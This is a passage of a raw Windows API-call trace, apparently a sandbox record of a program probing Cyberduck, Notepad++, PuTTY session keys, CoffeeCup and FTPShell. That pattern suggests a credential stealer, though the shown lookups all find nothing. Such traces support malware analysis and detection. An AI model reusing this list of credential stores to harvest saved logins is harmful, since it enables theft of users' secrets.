[0079.662] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.662] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.662] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" [0079.662] LocalFree (hMem=0x66b940) returned 0x0 [0079.662] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned 40 [0079.662] lstrlenA (lpString="\\*.*") returned 4 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.662] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" [0079.662] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*" [0079.662] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.662] LocalFree (hMem=0x647b70) returned 0x0 [0079.662] LocalFree (hMem=0x647ab8) returned 0x0 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.662] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.662] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.662] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.662] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.662] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.663] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" [0079.665] LocalFree (hMem=0x66b940) returned 0x0 [0079.665] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned 42 [0079.665] lstrlenA (lpString="\\*.*") returned 4 [0079.665] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.665] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck" [0079.665] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*" [0079.665] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Cyberduck\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.665] LocalFree (hMem=0x647b70) returned 0x0 [0079.665] LocalFree (hMem=0x647ab8) returned 0x0 [0079.665] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.665] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.665] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.665] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.665] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.665] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.665] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Cyberduck" | out: lpString1="C:\\ProgramData\\Cyberduck") returned="C:\\ProgramData\\Cyberduck" [0079.665] LocalFree (hMem=0x66b940) returned 0x0 [0079.665] lstrlenA (lpString="C:\\ProgramData\\Cyberduck") returned 24 [0079.665] lstrlenA (lpString="\\*.*") returned 4 [0079.665] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0079.665] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\ProgramData\\Cyberduck" | out: lpString1="C:\\ProgramData\\Cyberduck") returned="C:\\ProgramData\\Cyberduck" [0079.665] lstrcatA (in: lpString1="C:\\ProgramData\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Cyberduck\\*.*") returned="C:\\ProgramData\\Cyberduck\\*.*" [0079.665] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Cyberduck\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.665] LocalFree (hMem=0x652b60) returned 0x0 [0079.665] LocalFree (hMem=0x652d58) returned 0x0 [0079.665] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.665] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.666] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.666] lstrlenA (lpString="\\Cyberduck") returned 10 [0079.666] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.666] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.666] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" [0079.666] LocalFree (hMem=0x66b940) returned 0x0 [0079.666] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned 40 [0079.666] lstrlenA (lpString="\\*.*") returned 4 [0079.666] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.666] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck" [0079.666] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*" [0079.666] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Cyberduck\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.666] LocalFree (hMem=0x647b70) returned 0x0 [0079.666] LocalFree (hMem=0x647ab8) returned 0x0 [0079.666] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.666] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.666] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.666] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.666] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.666] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.666] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x4b, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.667] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\SimonTatham\\PuTTY\\Sessions", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.667] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\SimonTatham\\PuTTY\\Sessions", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.667] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.667] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x4c, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.667] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.667] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.667] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.667] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.667] lstrlenA (lpString="\\Notepad++") returned 10 [0079.667] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.668] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.668] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Notepad++" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++" [0079.668] LocalFree (hMem=0x66b940) returned 0x0 [0079.668] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++") returned 42 [0079.668] lstrlenA (lpString="\\*.*") returned 4 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.668] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++" [0079.668] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++\\*.*" [0079.668] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Notepad++\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.668] LocalFree (hMem=0x647b70) returned 0x0 [0079.668] LocalFree (hMem=0x647ab8) returned 0x0 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.668] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.668] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.668] lstrlenA (lpString="\\Notepad++") returned 10 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.668] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.668] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Notepad++" | out: lpString1="C:\\ProgramData\\Notepad++") returned="C:\\ProgramData\\Notepad++" [0079.668] LocalFree (hMem=0x66b940) returned 0x0 [0079.668] lstrlenA (lpString="C:\\ProgramData\\Notepad++") returned 24 [0079.668] lstrlenA (lpString="\\*.*") returned 4 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0079.668] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\ProgramData\\Notepad++" | out: lpString1="C:\\ProgramData\\Notepad++") returned="C:\\ProgramData\\Notepad++" [0079.668] lstrcatA (in: lpString1="C:\\ProgramData\\Notepad++", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Notepad++\\*.*") returned="C:\\ProgramData\\Notepad++\\*.*" [0079.668] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Notepad++\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.668] LocalFree (hMem=0x652b60) returned 0x0 [0079.668] LocalFree (hMem=0x652d58) returned 0x0 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.668] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.668] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.668] lstrlenA (lpString="\\Notepad++") returned 10 [0079.668] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.668] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.668] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Notepad++" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++" [0079.668] LocalFree (hMem=0x66b940) returned 0x0 [0079.668] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++") returned 40 [0079.669] lstrlenA (lpString="\\*.*") returned 4 [0079.669] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.669] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++" [0079.669] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++\\*.*" [0079.669] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Notepad++\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.669] LocalFree (hMem=0x647b70) returned 0x0 [0079.669] LocalFree (hMem=0x647ab8) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.669] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.669] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.669] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.669] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.669] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x4d, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.669] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.669] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\CoffeeCup Software", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.669] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\CoffeeCup Software", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.669] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.670] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.670] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.670] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.670] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.670] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.670] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.670] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.670] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.670] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.670] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x4e, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.670] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.670] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FTPShell") returned 0x0 [0079.670] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.671] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FTPShell") returned 0x0 [0079.672] StrStrIA 